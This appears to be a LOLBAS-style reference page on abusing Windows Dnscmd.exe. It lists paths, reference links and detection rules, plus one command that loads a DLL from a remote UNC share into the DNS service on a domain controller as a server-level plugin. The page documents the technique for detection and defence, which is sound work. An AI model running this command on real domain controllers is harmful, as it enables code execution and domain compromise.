





# /Dnscmd.exe

☆ Star

7,060

Execute (DLL)

A command-line interface for managing DNS servers

**Paths:**

C:\Windows\System32\Dnscmd.exe  
C:\Windows\SysWOW64\Dnscmd.exe

**Resources:**

- <https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83>
- <https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html>
- <https://github.com/dim0x69/dns-exe-persistence/tree/master/dns-plugindll-vcpp>
- <https://twitter.com/Hexacorn/status/994000792628719618>
- <http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html>

**Acknowledgements:**

- Shay Ber
- Dimitrios Slamaris ([@dim0x69](#))
- Nikhil SamratAshok ([@nikhil\\_mitt](#))

**Detections:**

- Sigma: [proc\\_creation\\_win\\_dnscmd\\_install\\_new\\_server\\_level\\_plugin\\_dll.yml](#)
- IOC: Dnscmd.exe loading dll from UNC/arbitrary path

## Execute

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.

```
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
```

Use case:	Remotely inject dll to dns server
Privileges required:	DNS admin
Operating systems:	Windows server
ATT&CK® technique:	<a href="#">T1543.003: Windows Service</a>
Tags:	Execute: DLL